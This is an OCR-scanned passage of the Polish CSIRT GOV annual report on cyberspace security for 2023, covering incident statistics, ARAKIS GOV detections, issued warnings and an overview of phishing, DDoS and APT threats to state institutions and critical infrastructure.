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ZESPOL CSIRT GOV

Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego CSIRT GOV, prowadzony
przez Szefa Agencji Bezpieczenstwa Wewnetrznego, petni role Zespotu CSIRT poziomu
krajowego. Zespot CSIRT GOV odpowiada za koordynacje procesu reagowania na incydenty
komputerowe wystepujgce w obszarze wskazanym w art. 26 ust. 7 ustawy z dnia 5 lipca 2018 roku
o krajowym systemie cyberbezpieczenstwa. Jednym z jego podstawowych zadan jest
rozpoznawanie, zapobieganie i wykrywanie zagrozen godzacych w bezpieczenstwo, istotnych
z punktu widzenia ciggtosci funkcjonowania panstwa systemow teleinformatycznych organow
administracji publicznej lub systemdw oraz sieci teleinformatycznych objetych jednolitym
wykazem obiektow, instalacji, urzadzen i ustug wchodzacych w sktad infrastruktury krytycznej,
a takze systemow teleinformatycznych wtascicieli i posiadaczy obiektow, instalacji lub urzadzen
infrastruktury krytycznej, o ktorych mowa w art. 5b ust. 7 pkt 1ustawy z dnia 26 kwietnia 2007 r.
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STATYSTYKI INCYDENTOW KOORDYNOWANYCH PRZEZ ZESPOt CSIRT GOV

ZAGROZENIA IDENTYFIKOWANE W ROKU 2023

KAMPANIE APT

ZAGROZENIA - OPROGRAMOWANIE Z£OSLIWE

ARAKIS GOV

OCENA BEZPIECZENSTWA SYSTEMOW TI

DZIALANIA NA RZECZ CYBERBEZPIECZENSTWA PROCESU WYBORCZEGO

POZOSTALE DZIALANIA ZESPOtU CSIRT GOV

ZAGROZENIA POCZTY ORAZ VPN




Szanowni Panstwo,

Oddajemy w Panstwa rece kolejng odstone Raportu o stanie bezpieczenstwa cyberprzestrzeni
RP, podsumowujacg rok 2023. Raport, wydawany corocznie przez Zespot CSIRT GOV, stuzy prezentac;ji
pracy Zespotu, ktdry jako jeden z krajowych zespotow reagowania na incydenty bezpieczenstwa
komputerowego dziata w obszarze bezpieczenstwa cyberprzestrzeni organow administracji panstwowe;j
oraz infrastruktury krytycznej RP.

W poszczegolnych rozdziatach niniejszej edycji Raportu przedstawione zostaty statystyki zgtoszen
i incydentow koordynowanych przez Zespét CSIRT GOV. Przedstawiono takze najistotniejsze zagrozenia
zidentyfikowane w 2023 roku, w tym zagrozenia typu APT. Jeden z rozdziatow poswigcono ponadto
prezentacji ztosliwego oprogramowania analizowanego przez CSIRT GOV, w tym technikom infekcji,
wtasciwym dla pozyskanych prébek oprogramowania zto$liwego.

Kazda edycja Raportu to rowniez podsumowanie zagrozen wystepujacych w sieciach
teleinformatycznych objetych ochrong systemu wczesnego ostrzegania ARAKIS GOV. W ramach
zadan ustawowych Zespotu CSIRT GOV dotyczacych corocznej oceny bezpieczenstwa infrastruktury
teleinformatycznej w Raporcie zamieszczono rowniez wyniki prowadzonej oceny wraz z prezentacjg
sposobow przeprowadzenia eksploitacji okreslonych podatnosci zidentyfikowanych w trakcie realizacji
testow bezpieczenstwa.

Jak co roku przedstawione zostaty takze inne dziatania Zespotu CSIRT GOV, ohejmujace przede
wszystkim udziat w ¢wiczeniu LOCKED SHIELDS, czy obstuge podatnosci dotyczacych bezpieczenstwa
Srodowiska poczty MS EXCHANGE.

Raport prezentuje wreszcie zagadnienia zwigzane z zagrozeniami oraz zasadami bezpieczenstwa
w dalszym ciggu najbardziej narazonych na ataki ustug poczty elektronicznej oraz systemow typu VPN.

Rok 2023 przynidst kolejng fale zagrozen w cyberprzestrzeni, naznaczonych konfliktem zbrojnym
toczacym sie za wschodnig granicg RP. Polska, jako panstwo cztonkowskie Unii Europejskiej oraz NATO,
mierzyta sie z zagrozeniami ze strony grup cyberprzestepczych, grup haktywistycznych czy grup typu
state-sponsored. W szczegdlnym zainteresowaniu adwersarzy znajdowaty sie najwazniejsze organy
panstwowe, w tym ministerstwa, organy administracji rzadowej, a takze stuzby oraz infrastruktura
krytyczna, gtdwnie w sektorze energii oraz transportu. W zakresie rodzajéw odnotowywanych zagrozen
mozna mowic¢ przede wszystkim o atakach sprowadzajacych sie do zaktdcen dostepnosci stron
internetowych czy ustug elektronicznych swiadczonych przez podmioty administracji publicznej, probach
wtaman do systemow teleinformatycznych, infrastruktury sieciowej, czy $rodowisk takich jak poczta
elektroniczna. Opis wymienionych zagrozen zostat umieszczony w rozdziale 2 oraz 3 niniejszego Raportu.
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Ocena aktywnosci grup odpowiedzialnych za tzw. zagrozenia APT w roku 2023 wskazuje,
ze byty to ataki w duzej mierze stanowigce kontynuacje dziatan odnotowanych w roku 2022. Na uwage
zastuguje tu szczegdlne zainteresowanie przez tego typu grupy eksploitacjg oprogramowania firmy
Microsoft, ktore ze wzgledu na swojg popularnosé i szerokie wykorzystanie poddawane jest licznym
probom przetamywania zabezpieczen, nierzadko wykorzystujgcym podatnosci zero-day. Przyktadem
tego typu aktywnosci byty ataki grupy identyfikowanej jako APT28, ktdra w 2022 oraz na poczatku 2023
roku prowadzita dziatania z wykorzystaniem podatnosci zero-day w aplikacji Outlook. Podatnosci tej
nadano nastepnie numer CVE-2023-23397. Stosowny opis podatnosci zostat przedstawiony w rozdziale
2 Raportu. Koniec roku 2023 stat sig takze przyczynkiem do ujawnienia podatnosci wystepujacej
w $rodowisku MS Exchange skutkujacej pozyskaniem dostepu do korespondencji email poprzez zmiane
uprawnien do folderow uzytkownika. Zespot CSIRT GOV prowadzit obstuge tej podatnosci, a stosowny opis
dziatan ograniczajacych te podatnosc zostat przedstawiony w rozdziale 8 Raportu.

Charakterystyczne dla aktywnosci grup APT byty réwniez proby wytudzenia danych logowania
do ustug poczty czy korporacyjnego VPN, poprzez spreparowane panele logowania. Metoda stosowana
od wielu lat, polegajaca na przestaniu wiadomosci mailowe;j z linkiem do fatszywego panelu logowania
jest jedynie tak skuteczna, jak zabezpieczenia autentycznej ustugi. Majac na wzgledzie te zagrozenia
w rozdziale 9 Raportu umieszczono istotne rekomendacje dotyczace bezpieczenstwa poczty oraz
zabezpieczen ustug typu VPN dostepnych w sieci Internet.

Podsumowujac rok 2023, nalezy réwniez zauwazyc, ze Polska, wraz z innymi panstwami NATO,
stanowita jeden z celow atakéw grup haktywistycznych, ktére wykorzystywaty ataki typu DDoS na strony
czy ustugi udostepniane w sieci Internet. W zatozeniu prorosyjskich grup haktywistyczych czy réznego
rodzaju kolektywdw, ataki typu DDoS maja w znacznym stopniu zaktdcac funkcjonowanie atakowanych
podmiotdw oraz wzmacniac narracje o sile i duzych mozliwosciach dziatania przeciwko krajom uznanym
za sprzeciwiajace sie polityce Federacji Rosyjskiej. Ataki te stuzyty celom propagandowym i sg stale
szeroko nagtasniane na prowadzonych przez tego typu grupy kanatach spotecznosciowych. Zagrozeniem
tego typu poswigcono uwage w rozdziale 2 Raportu.

Wzrost poziomu zagrozen w cyberprzestrzeni RP, mogacy nosi¢ znamiona zagrozenia wystapienia
zdarzenia o charakterze terrorystycznym, podyktowany przede wszystkim sytuacjg w Ukrainie,
skutkowat wprowadzeniem w 2022 roku pierwotnie stopnia alarmowego ALFA-CRP, a nastepnie stopnia
CHARLIE-CRP. Stopien ten zostat utrzymany przez caty 2023 rok. W rozdziale 2 Raportu przedstawiono
dziatania podjete w zwigzku z utrzymaniem stopnia CHARLIE-CRP, a takze zidentyfikowane w ramach
zadan realizowanych przez Zespot CSIRT GOV rodzaje zagrozen.




W roku 2023 roku miata takze miejsce kampania wyborcza oraz wybory parlamentarne
do Sejmu oraz Senatu RP, co stanowito bodziec do intensyfikacji aktywnosci grup prowadzacych ataki
socjotechniczne i dezinformacyjne z wykorzystaniem roznych srodkdéw przekazu. Wérdd dziatan stuzacych
dezinformacji znalazto sie nie tylko wykorzystanie masowej dystrybucji wiadomosci email', ale rowniez
kampanie wykorzystujgce SMS?. Towarzyszaca kampanii wyborczej seria wiadomosci zostata opisana
w rozdziale 3 Raportu, w czesci dotyczacej dziatalnosci grupy UNC1151.

Majac na wzgledzie predykcje cyberzagrozen, jako staty czynnik eskalujgcy nalezy nadal
postrzegac trwajgcy konflikt zbrojny w Ukrainie i zwigzang z nim aktualng sytuacja geopolityczna. Bioragc
pod uwage skale i rodzaje zagrozen odnotowywanych w ciggu ostatnich dwach lat, nalezy zatozyc,
iz przedmiotowy czynnik bedzie potencjalnie skutkowat dalszg intensywnoscia dziatan w zakresie kampanii
socjotechnicznych, nierzadko wykorzystujacych podatnosci typu zero-day. Pewien potencjat zagrozen
beda stanowi¢ takze podatnosci w zakresie systemow klasy VPN czy poczty elektronicznej z uwagi
na ich powszechne uzycie oraz dostepnos¢ w sieci Internet. Zagrozenia te wymuszaja w konsekwencji
konieczno$¢ statego monitorowania bezpieczenstwa infrastruktury przez zespoty odpowiedzialne
za cyberbezpieczenstwo systemdw i sieci teleinformatycznych administraciji rzagdowej oraz operatorow
infrastruktury krytycznej w ramach realizowanych dziatan prewencyjnych. Odpowiednie zabezpieczenie
zasohow, zapewnienie wtasciwego poziomu wiedzy uzytkownikow i administratorow oraz utrzymywanie
kopii zapasowych kluczowych danych to niezbedne dziatania, ktdre pozwalajg na wyeliminowanie
lub ograniczenie skutkéw atakdw, ktorych moment i forma materializacji jest niezwykle trudna

do przewidzenia.

Jestesmy przekonani, ze Raport o stanie bezpieczenstwa cyberprzestrzeni RP za 2023 rok bedzie
stanowit dla Panstwa interesujacg i wartosciowg lekture, obrazujaca najistotniejsze zagrozenia, na ktore
narazone sg kluczowe elementy obszaru cyberprzestrzeni RP. Dziekujemy jednoczesnie zespotom IT
odpowiedzialnym za bezpieczenstwo teleinformatyczne podmiotow pozostajgcych we wtasciwosci CSIRT
GOV za przekazane informacje o zagrozeniach i incydentach oraz biezaca wspotprace, a takze pozostatym
zespotom reagowania na incydenty bezpieczenstwa teleinformatycznego - krajowe zespoty CSIRT NASK
i CSIRT MON oraz sektorowy zespot CSIRT KNF, za statg wspdtprace oraz dbatos¢ o bezpieczenstwo
cyberprzestrzeni RP.

Zyczymy mitej lektury,
Zespot CSIRT GOV

Thttps://www.gov.pl/web/sluzby-specjalne/uwaga-na-dzialania-dezinformacyjne
2 https://www.gov.pl/web/rcb/alert-rcb--bezpieczenstwo-wyborow
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1.1. Statystyka roczna

W roku 2023 CSIRT GOV zarejestrowat tacznie 322 656 zgtoszen o potencjalnym wystapieniu
incydentu teleinformatycznego w swoim obszarze kompetencyjnym, sposrdd ktérych 43 785 zostato
zakwalifikowanych jako faktyczne incydenty bezpieczenstwa teleinformatycznego.
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Wykres 1. Liczba zarejestrowanych zgtoszen oraz incydentéw w latach 2020-2023

Wskazana statystyka zawiera zaréwno zgtoszenia rejestrowane automatycznie w systemie ARAKIS
GOV, jak réwniez zgtoszenia obstugiwane w ramach biezacej pracy Zespotu CSIRT GOV. Biorac pod uwage
zgtoszenia pochodzace z systemu ARAKIS GOV, nalezy zwrdci¢ uwage na wzrost liczby wygenerowanych
przez system incydentow przy jednoczesnym spadku liczby zdarzen zarejestrowanych jako zagrozenie
dla infrastruktury teleinformatycznej podmiotow w 2023 roku w poréwnaniu do roku 2022. Wynika
to z dokonanej zmiany w mechanizmie detekcji ztosliwych aktywnosci, sposobu generacji alarmow oraz
rozbudowy systemu i podtaczenia nowych instytuciji.

Ponadto, w roku 2023 Zespot CSIRT GOV odnotowat 19 888 zgtoszen, na podstawie ktdrych
zarejestrowano tacznie 4676 incydentow w rozumieniu ustawy z dnia 5 lipca 2018 o krajowym systemie
cyberbezpieczenstwa.




1.2. Analiza poszczegolnych kwartatow w oparciu o incydenty zgtoszone przez
podmioty krajowego systemu cyberbezpieczenstwa

Liczba zarejestrowanych zgtoszen oraz incydentdw w poszczegédlnych kwartatach 2023 roku
utrzymywata sie na podobnym poziomie. W Il kwartale odnotowano najwiekszg liczbe zarejestrowanych
incydentow, na co wptyw miata wigksza liczba incydentow dotyczacych publikacji danych wrazliwych
ujawnianych w zradtach otwartych, tzw. ,wyciekdw”. Przetozyto sie to tym samym na liczbe przesytanych
zgtoszen do podmiotdw pozostajgcych w obszarze kompetencyjnym CSIRT GOV celem weryfikacji

potencjalnego faktu kompromitaciji danych i wdrozenia stosownych procedur bezpieczenstwa.
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Wykres 2. Liczba zarejestrowanych zgtoszer oraz incydentéw w poszczegdinych kwartatach 2023 roku
zgtoszonych przez podmioty krajowego Systemu cyberbezpieczenstwa
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1.3. Statystyka incydentow pod wzgledem kategorii incydentow zgtoszonych przez
podmioty krajowego systemu cyberbezpieczenstwa

Zaprezentowany ponizej wykres przedstawia podziat zarejestrowanych w roku 2023 incydentow
bezpieczenstwa teleinformatycznego pod katem kategorii zagrozenia wraz z porownaniem ich wolumenu
w stosunku do roku poprzedniego.
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Wykres 3. Liczba incydentéw zgtoszonych przez podmioty krajowego systemu cyberbezpieczeristwa
w latach 2022 i 2023 z podziatem na kategorie

W poréwnaniu do roku 2022 nastapit znaczacy wzrost liczby incydentow w kategorii
SOCJOTECHNIKA. Incydenty tego rodzaju byty w gtdwnej mierze zwigzane z kampaniami socjotechnicznymi
wykorzystujacymi do propagacji poczte elektroniczng. Wsrod aktywnosci socjotechnicznej Zespét CSIRT
GOV identyfikowat zaréwno wiadomosci phishingowe, jak i spearphishingowe. Ich celem byto wytudzenie
danych logowania, naktonienie do zaptaty srodkdw finansowych lub wytudzenie innych danych wrazliwych.
Odnotowano takze proby przeprowadzenia infekcji ztosliwym oprogramowaniem z wykorzystaniem tego
rodzaju kampanii. Na wzrost liczby incydentow w powyzszej kategorii miaty takze wptyw kampanie
o podtozu APT (Advanced Persistent Threat), ktdre zostaty opisane w dalszym rozdziale raportu rocznego.




Najwiekszy wzrost liczby incydentow wsrdd kategorii zagrozen Zespotu CSIRT GOV odnotowano
w kategorii PUBLIKACJA (okoto 300%). Wskazany wzrost zwigzany byt ze zwigkszona liczba ujawnionych
w zrodtach otwartych, upublicznionych tzw. danych wrazliwych. Dane te dotyczyty ustug i serwisow
wykorzystywanych zarowno przez podmioty funkcjonujace w obszarze kompetencyjnym CSIRT GOV,
jak rowniez skompromitowanych kont osob korzystajgcych z ustug e-administracji. Nalezy przy tym
zwrdci¢ uwage, ze czesto publikowane tzw. dane wrazliwe stanowig okreslong kompilacje ,znanych
wyciekow”, tym samym s3 powielane przez cyberprzestepcow i haktywistow celem wywotania
okreslonego rodzaju efektu zagrozenia dla identyfikowanych w tego typu wyciekach podmiotow badz
0sob prywatnych. Niezaleznie od tego, wszystkie tego typu incydenty sg kazdorazowo analizowane przez
Zespot CSIRT GOV oraz zgtaszane do odpowiednich podmiotow celem weryfikacii.

Kolejng kategorig zagrozenia, biorac pod uwage liczbe zarejestrowanych incydentow w 2023
roku, jest kategoria PODATNOSC. W tej kategorii rejestrowane sa podatnosci ujawnione w systemach
wykorzystywanych przez podmioty pozostajace w obszarze kompetencyjnym Zespotu CSIRT GOV. W roku
2023 Zespot CSIRT GOV wdrozyt, we wspotpracy z Zespotem CERT Polska, nowe narzedzie stuzgce weryfikacji
poziomu zabezpieczen stron internetowych ARTEMIS. Wzmocnito to mozliwosci identyfikacji podatnosci
systemow funkcjonujgcych w domenie gov.pl. CSIRT GOV dokonywat weryfikacji identyfikowanych
podatnosci, a nastepnie powiadamiat podmioty o wykrytych zagrozeniach w celu podjgcia dziatan

polegajacych na koniecznosci przeprowadzenia aktualizacji oprogramowania do najnowszych wers;ji.

Kolejna kategoria pod wzgledem liczby incydentdw byta kategoria NIEDOSTEPNOSC. Na te kategorie
sktadajag sie w gtownej mierze ataki DDoS, szerzej opisane w rozdziale raportu rocznego dotyczacym
zagrozen. W pordwnaniu do roku poprzedniego dostrzec mozna niewielki spadek zarejestrowanych atakow
tego typu, natomiast nadal jest to liczba ponad dwukrotnie wigksza od zarejestrowanych incydentow
w roku 2021. Wptyw na te kategorig zagrozenia ma w duzej mierze aktywnos¢ grup haktywistycznych, ktdre
swoje dziatania ukierunkowujg na panstwa NATO i Unii Europejskiej, w zwigzku z konfliktem zbrojnym
w Ukrainie. Ataki DDoS, za ktdérymi stojg tego typu grupy, majg za cel przede wszystkim paraliz badz
utrudnianie funkcjonowania atakowanej infrastruktury teleinformatycznej, a takze osiagniecie efektu
propagandowego poprzez dystrybucje informacji o stabosciach systemow w mediach spotecznosciowych.

Wramachkolejnejcodo liczby odnotowanych w roku 2023 incydentow kategorii ATAK zarejestrowano
ponad dwukrotnie wigcej tego typu incydentow niz w roku 2022 i ponad czterokrotnie wigecej porownaniu
do roku 2021. Kategoria ta obejmuje proby przetamania zabezpieczen poprzez eksploitacje podatnosci,
ataki typu bruteforce, kompromitacje kont i systemow czy eksfiltracje danych z przejetych systemow.

SKANOWANIE, czyli rekonesans infrastruktury teleinformatycznej pod katem identyfikacji
podatnych systemow i ustug, to kategoria, w ktorej w roku 2023 odnotowano spadek. Wszystkie te dziatania
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wskazywaty na mozliwos¢ przygotowania dziatan ofensywnych w zakresie przetamania zabezpieczen
lub naruszenia dostepnosci ustug. Nalezy zaznaczy¢, ze wskazana kategoria incydentow jest zgtaszana
do Zespotu CSRIT GOV w wyniku oceny zagrozen przez poszczegdlne podmioty. Jednoczesnie tego typu
zagrozenia sg stale monitorowane przez system ARAKIS GOV, gdzie ma miejsce odpowiednie wykrywanie
i alertowanie rejestrowanych anomalii ruchu sieciowego.

W kategorii TRESCI zarejestrowano prawie czterokrotny spadek incydentéw w stosunku do roku
poprzedniego. Kategoria ta odnosi sie przede wszystkim do zgtoszen incydentow naruszajgcych szeroko
pojmowane dobra publiczne, np. informacje naruszajgce wizerunek podmiotow panstwowych czy
publikujacych tresci dezinformacyjne.

W ramach kolejnej co do liczby incydentdw kategorii WIRUS, w roku 2023 obstugiwane byty
zgtoszenia dotyczace ztosliwego oprogramowania zidentyfikowanego na stacjach roboczych, serwerach
oraz urzadzeniach sieciowych. W 2023 roku zarejestrowano prawie 40% spadek ilosci tego rodzaju
incydentéw w poréwnaniu do 2022 roku.

Ponadto, w 2023 roku Zespot CSIRT GOV zarejestrowat 11 zgtoszen incydentow o statusie powaznym
w rozumieniu ustawy o krajowym systemie cyberbezpieczenstwa. Wszystkie incydenty tego rodzaju miaty
charakter awarii i nie wskazywaty na dziatania intencjonalne, czy majace charakter cyberatakow.

Poréwnujac liczbe incydentow w latach 2022-2023 odnotowanych w obszarze dziatania Zespotu
CSIRT GOV, nalezy zauwazy¢, ze pomimo spadku liczby zarejestrowanych incydentdow, mozna mowic
o stale utrzymujacym sie wysokim poziomie zagrozen w cyberprzestrzeni.

Najczesciej wystepujacymi rodzajami incydentow, podobnie do lat poprzednich, byty ataki DDoS,
ataki wykorzystujace elementy socjotechniki, ,wycieki” danych, ujawniane réznego rodzaju podatnosci
oraz ataki wykorzystujgce te podatnosci do przetamania zabezpieczen sieci i systemow.




1.4. Statystyka incydentow pod wzgledem sektorow, w oparciu o incydenty zgtoszone
przez podmioty krajowego systemu cyberbezpieczenstwa

Biorac pod uwage podziat incydentow na sektory, nalezy wskazac, ze w 2023 roku najwigksza
liczba incydentdw, podobnie jak w roku 2022, dotyczyta operatordw infrastruktury krytycznej. Kolejnymi
sektorami pod wzgledem liczby zarejestrowanych incydentow byty odpowiednio podmioty w kategoriach:
Ministerstwo, Instytucja, Urzad, Organ Panstwowy oraz Stuzba.

Wykres 4. Liczba incydentéw zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa
w 2023 roku z podziatem na sektory
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Infrastruktury
Krytycznej

Pozostate
Ministerstwo
Instytucja
Urzad
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Organ Panstwowy

W kategorii POZOSTALE, zarejestrowane zostaty incydenty obstuzone przez Zespot CSIRT GOV, majace
na celu mitygacje zagrozen dla podmiotow we wtasciwosci CSIRT GOV, prowadzone poza wtasciwoscia.
Tego typu dziatania dotyczag w gtdwnej mierze zgtoszen ztosliwych domen oraz ustug do rejestratorow
czy hostingodawcow celem podijecia dziatan w oparciu o stosowne regulaminy $wiadczenia ustug.
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1.5. Statystyka incydentow ARAKIS GOV

W ramach Systemu ARAKIS GOV rejestrowane s3 zdarzenia i incydenty mogace $wiadczy¢
o potencjalnej infekcji sieci i systemow teleinformatycznych. Zdarzenia informuja o wykryciu komunikacji
sieciowej przede wszystkim ze zidentyfikowanymi serwerami C2 oraz ztosliwymi domenami. W tym
obszarze nieprzerwanie Zespot CSIRT GOV prowadzi dziatania majace na celu aktualizacje bazy
posiadanych loC o najnowsze wskazniki kompromitacji, celem detekcji w sieciach teleinformatycznych
objetych Systemem ARAKIS GOV.

W 2023 roku liczba incydentow zarejestrowanych w Systemie ARAKIS GOV wyniosta 39 109.
Incydenty zostaty zarejestrowane na podstawie ponad 302 768 alarmow, czyli zdarzen klasyfikowanych
jako zagrozenie dla infrastruktury teleinformatycznej podmiotéw wdrozonych do systemu. Najwigce;
incydentow zarejestrowano w kategorii Instytucje oraz w obszarze Infrastruktury Krytycznej.
Informacje o incydentach byty odpowiednio przesytane do administratorow poszczegdlnych podmiotow

celem i podjecia dziatan weryfikacyjnych, a takze mitygujgcych zagrozenia.

Stuzba 851

Pozostate - 2954
Ministerstwo - 4332
Operator Infrastruktury Krytycznej — 14511

Wykres 5. Liczba incydentéw zarejestrowanych w systemie ARAKIS GOV z podziatem na sektory

Gtownym celem systemu ARAKIS GOV, z punktu widzenia podmiotow uczestniczacych, jest
zwigkszenie mozliwosci w zakresie detekcji zagrozen przed atakami, w tym przed atakami grup APT.
Dziatania cyberprzestepcow polegajace na probach przetamania zabezpieczen, dystrybucji ztosliwego
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oprogramowania celem infekcji i zapewnienia persystencji oraz wykorzystaniu podatnosci wystepujacych
w sieciach i systemach przektadaja sie na ilos¢ wykrywanych incydentow w systemie ARAKIS GOV. Tym
samym, tegorodzajuzagrozeniasprawiajgnajwiekszeryzykodlasystemowteleinformatycznychpodmiotow
krajowego systemu cyberbezpieczenstwa. Do najbardziej zagrozonych systemdw teleinformatycznych
nalezy zaliczy¢ takie, w ktorych mozna zauwazy¢ brak odpowiedniej tzw. cyberhigieny, czyli m.in. brak
wdrozonego wystarczajacego monitoringu sieci, systemow i stacji koncowych, brak ustalonych procedur
reagowania na incydenty oraz brak wtasciwych narzedzi do kolekc;ji i analizy logow.

1.6. Ostrzezenia dystrybuowane przez CSIRT GOV w 2023 roku

Zadania natozone przez ustawe o krajowym systemie cyberbezpieczenstwa w zakresie
monitorowania zagrozen oraz wydawania komunikatéw o zidentyfikowanych zagrozeniach
cyberbezpieczenstwa realizowane sg przez CSIRT GOV przede wszystkim w formie ostrzezen. Ponizszy
wykres przedstawia liczbe ostrzezen wydanych przez Zespédt CSIRT GOV w roku 2023 z podziatem
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Wykres 6. Liczba ostrzezen wydanych przez CSIRT GOV w 2023 roku z podziatem na kategorie ostrzezen

na kategorie.
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W 2023 roku Zespot CSIRT GOV rozestat tacznie 766 ostrzezen do podmiotow w swojej wtasciwosci,
co stanowi wzrost w stosunku do poprzedniego roku, kiedy to rozdystrybuowanych zostato 613 ostrzezen.

Najwieksza liczba dystrybuowanych w 2023 roku ostrzezen dotyczyta wskaznikow kompromitacji
loC dla zidentyfikowanych zagrozen, w gtdwnej mierze opracowanych na podstawie raportow z systemu
ARAKIS GOV.
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W ramach ostrzezen dotyczacych atakow przekazywano przede wszystkim informacje
0 podwyzszonym zagrozeniu wystgpieniem atakow DDoS wymierzonych w konkretne podmioty lub
sektory, ktdre skutkowac mogty niedostepnoscia Swiadczonych przez nie ustug.

Kolejng w kolejnosci kategorig ostrzezen byty podatnosci zidentyfikowane w szeroko
wykorzystywanym oprogramowaniu, jak rowniez btedy konfiguracyjne wykryte w stosowanych przez
podmioty systemach.

Zespot CSIRT GOV informowat réwniez o roznego rodzaju aktywnosci socjotechnicznej.
W tej kategorii znalazty sie informacje o zagrozeniach zwigzanych przede wszystkim z kampaniami
socjotechnicznymi majacymi na celu wytudzenie danych logowania, $rodkow finansowych, danych
osobowych czy innych informacji dotyczacych osoby lub podmiotu. Ostrzezenia w tej kategorii obejmowaty
rowniez informacje o kampaniach dystrybuujacych ztosliwe oprogramowanie, wykorzystujace domeny
0 nazwach podszywajacych sig pod oficjalne strony rzadowe, jak rowniez wykorzystujgce wiadomosci
email bazujace na podszyciu pod organy administracji panstwowej, czy kampaniach dystrybuujacych
tresci majace charakter dezinformacii.




ZAGROZENIA IDENTYFIKOWANE W ROKU 2023
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Wsrad zagrozen odnotowywanych w roku 2023 przez Zespot CSIRT GOV wyrdzni¢ mozna przede
wszystkim dwie powszechnie wystepujace kategorie atakdw, tj. kampanie socjotechniczne oraz ataki
DDoS.

W roku 2023 ujawnione zostaty liczne kampanie socjotechniczne o podtozu cyberprzestepczym,
w tym rowniez te, ktdrych zrodtem byty dziatania grup cyberofensywnych. Motyw dziatania warunkujacy
wystepowanie tego typu zagrozen pozostaje niezmienny i zwigzany jest przede wszystkim z dazeniem
do uzyskania nieuprawnionego dostepu do danych wrazliwych uzytkownikow, dostepu do sieci i systemow
celem dalszej eksploitacji czy eksfiltracji danych. Czesto pobudka tego typu dziatan jest takze chec
pozyskania srodkdw finansowych od ofiar atakow. Przyktadem tego typu zagrozenia byty na przyktad
ataki z wykorzystaniem oprogramowania typu ransomware. Kolejng kategorig identyfikowang w ramach
kampanii socjotechnicznych sg ataki typu state-sponsored, ktdre Kkorzystaja z catego spektrum
dostepnych $rodkow cyberofensywnych, nierzadko wykorzystujgc podatnosci typu zero-day.

Wskazane zagrozenia socjotechniczne czesto bazujg na podobnych wektorach ataku, natomiast
roznicujg sie w zakresie obieranych celow.

W zakresie wtasciwosci Zespotu CSIRT GOV, obejmujagcym w szczegdlnosci obszar podmiotow
administracji panstwowej oraz operatordw infrastruktury krytycznej, analiza atakow socjotechnicznych
jest szczegolnie istotna, zwtaszcza z punktu widzenia identyfikacji zagrozen spearphishingowych oraz
typu APT. Wybranym kampaniom typu APT po$wiecono oddzielng cze$¢ raportu.

Drugim rodzajem zagrozenia odnotowanym w roku 2023, przedstawionym w niniejszym rozdziale,
byty ataki typu DDoS. Zwigkszona liczba atakow DDoS zwigzana jest z zagrozeniem, ktore motywowane
jest przede wszystkim dziataniami grup haktywistycznych.

Dodatkowo w rozdziale przedstawione zostaty podatnosci zarejestrowane przez Zespot CSIRT
GOV, ktore miaty istotny wptyw na bezpieczenstwo infrastruktury teleinformatycznej i mogty tym
samym podwyzszac ryzyko wystapienia incydentow w przypadku uzytkowania podatnego sprzetu oraz
oprogramowania przez podmioty krajowego systemu cyberbezpieczenstwa.




2.1. Stopien alarmowy CHARLIE-CRP w Cyberprzestrzeni RP

Stopien alarmowy w CRP to jeden z filarow bezpieczenstwa kraju pozwalajacy
na uzyskanie zaktadanego poziomu cyberbezpieczenstwa systemdw teleinformatycznych
wykorzystywanych przez podmioty administracji panstwowej, jak rowniez infrastrukture
krytyczna. Utrzymywanie w roku 2023 stopnia CHARLIE-CRP byto skutkiem oceny
zagrozen uwarunkowanych napigta sytuacjg geopolityczng w regionie i wynikajagcymi z niej
konsekwencjami W postaci intensyfikacji dziatan cyberprzestgpczych realizowanych przez
grupy badz podmioty powigzane ze stuzbami panstw obcych. Przedmiotowe zagrozenia dotyczyty
w szczegolnosci infrastruktury informatycznej wykorzystywanej przez podmioty oraz instytucje
pozostajace, w mysl art. 26 ust. 7 ustawy o z dnia 5 lipca 2018 r. 0 krajowym systemie cyberbezpieczenstwa,
w obszarze funkcjonowania CSIRT GOV, w tym m. in.:

e organy wtadzy publicznej, w tym organy administracji rzagdowej, organy kontroli panstwowej
i ochrony prawa, w tym sady i trybunaty,

e podmioty, ktorych systemy teleinformatyczne lub sieci teleinformatyczne objete s3 jednolitym
wykazem obiektdw, instalacji, urzadzen i ustug wchodzacych w sktad infrastruktury krytycznej,

0 ktdrym mowa w art. 5b ust. 7 pkt 1 ustawy z dnia 26 kwietnia2007 r. o zarzadzaniu kryzysowym.

Biorgc pod uwage powyzsza wtasciwos¢ kompetencyjna, Zesp6t CSIRT GOV, dziatajac
w okolicznosciach statego, podwyzszonego zagrozenia, stanat przed koniecznoscig zapewnienia
wtasciwego wsparcia w zakresie utrzymania stosownego poziomu bezpieczenstwa teleinformatycznego
dla kluczowych elementow funkcjonowania panstwa. Podstawowym zadaniem w tej materii byto
zapewnienie niezaktdconego dziatania systemdw zapewniajacych ciggtosc funkcjonowania administracji
publicznej, zaopatrzenia w energig, surowce energetyczne i paliwa, systemow tgcznosci, sieci
telekomunikacyjnych, finansowych, ochrony zdrowia, czy wreszcie infrastruktury transportowej oraz
systemow ratowniczych.

Wsrod zagrozen utrzymujacych sige w cyberprzestrzeni RP w roku 2023, ktdre miaty szczegodlny
wptyw na oceng ryzyka nalezy wskazac ataki socjotechniczne, ataki DDoS oraz proby przetamywania
zabezpieczen systemow i sieci teleinformatycznych.

W 2023 roku Zespot CSIRT GOV odnotowywat utrzymujacg sie na wysokim poziomie
intensywnos¢ kampanii socjotechnicznych, ukierunkowanych w strone wybranych podmiotéw, w tym
administracji panstwowej, podmiotdw Swiadczgcych ustugi publiczne, czy operatordw infrastruktury
krytycznej. Dziatania tego rodzaju ukierunkowane hyty przede wszystkim na pozyskiwanie danych
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uwierzytelniajgcych, umozliwiajacych uzyskanie nieuprawnionego dostepu do zasobow atakowanego
podmiotu, umozliwiajacego realizacje dalszych dziatan cyberprzestepczych. Istotnym celem atakow byty
takze proby dystrybucji ztosliwego oprogramowania.

Ponadto Zespot CSIRT GOV identyfikowat znaczacy wolumen przedsigwzie¢ polegajacych
narejestracji domen onazwach przypominajacych nazwy oficjalnych witrynrzadowych, ktdre w przysztosci
mogtyby zosta¢ wykorzystane w dziataniach socjotechnicznych (phishing, dezinformacja). Swiadczyé
o tym moga rozpoznane przypadki aktywnosci stron internetowych wykorzystujacych wizerunek i szate
graficzng domen administracji publicznej. Za pomocg podobnych witryn, w oparciu o zawarta na nich
tre$¢ dezinformujaca, cyberprzestepcy podejmowali préby pozyskiwania danych osobowych czy tez
